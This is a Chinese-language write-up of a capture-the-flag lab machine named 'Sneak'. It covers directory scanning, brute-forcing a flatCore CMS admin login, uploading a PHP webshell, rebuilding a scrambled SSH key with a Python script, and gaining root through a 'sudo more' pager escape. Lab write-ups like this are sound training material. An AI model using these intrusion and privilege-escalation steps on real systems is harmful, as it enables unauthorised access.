20250715_Sneak_neuro 靶机复盘
外部打点(框架漏洞,文件上传)
nmap 192.168.1.10 -p- -A
22,80 开放
dirsearch -u http://192.168.1.10 -x 404,403
存在 /cms 目录,继续在 /cms 下继续扫
dirsearch -u http://192.168.1.10/cms/ -x 404,403
存在 /cms/license.txt
,/cms/README.md
等等
阅读说明文档,得知是 flatCore CMS 框架
在漏洞库里搜索 flatCore,有文件上传和RCE的漏洞利用‘
根据文档,首先需要登录 http://cms/acp/acp.php
直接对 admin 账号进行爆破
密码错误响应码都是 500,密码正确响应码 302
得到账号密码 admin:88888888
进入后台,在 acp/core/files.upload-script.php
处进行文件上传,不过这里提示 CSRF TOKEN 错误,先使用 RCE payload 打一下
也是凭证有问题,索性直接在操作面板里找到文件上传点
操作面板 system 下添加可解析后缀 php
![![[Pasted image 20250715174537.png]](https://i-blog.csdnimg.cn/direct/3af01b2d2bb24dc48c758c10cf4efa5d.png)
在 file 处进行文件上传
上传一个一句话木马,路径 http://192.168.1.10/cms/content/files/shell.php
,蚁剑连接成功,得到 www-data 用户
权限提升(限制下的sudo more)
cat /etc/passwd
得到留言提示, where is my lincense ? 用户 sysadm
可能是之前目录扫描,github 上的 flatcore cms 框架源码里也有 /license.txt 路由
访问 /cms/license.txt 得到一个修改后私钥文件
第一行进行了逆序,最后一行未逆序
我尝试了很多种变换方法,但私钥内容都会出错
结合靶机名称 Sneak,潜伏的意思,同音 Snake 蛇。
那么私钥内容的读取顺序可能就是蛇形的
写个脚本处理一下
import subprocess
import tempfile
import os
# 读取key.txt文件,交替处理行:第一行逆序,第二行正序,第三行逆序...
with open('key.txt', 'r') as input_file:lines = input_file.readlines()with open('key2.txt', 'w') as output_file:for i, line in enumerate(lines):# 偶数行(0, 2, 4...)逆序,奇数行(1, 3, 5...)正序if i % 2 == 0: # 偶数行(包括第0行)processed_line = line.rstrip('\n')[::-1] + '\n'else: # 奇数行processed_line = line # 保持原样output_file.write(processed_line)print("ok")
拿到私钥后,ssh sysadm@192.168.1.10 -i
得到 sysadm 用户
sudo -l 查看到特定命令
(ALL) NOPASSWD: /usr/bin/more /var/log/custom/fake-cleanup.sh
可特权使用 more 查看 fake-cleanup.sh
那么只需要在 sudo more
的分页模式下输入 /bin/bash
即可
法一:
由于 fake-cleanup.sh 文件只有两行内容,无法进入分页显示,用管道符阻塞一下
echo hello | sudo /usr/bin/more /var/log/custom/fake-cleanup.sh
分页模式下输入 !bash 即可获取 root
法二:
直接手动缩小终端窗口,让其被迫分页显示
总结
目录扫描做好信息收集,找框架漏洞并复现,密码爆破,手动找文件上传点进行 getshell
/etc/passwd 信息泄露,脑洞修复 license.txt 私钥文件格式
sudo more 下提权方式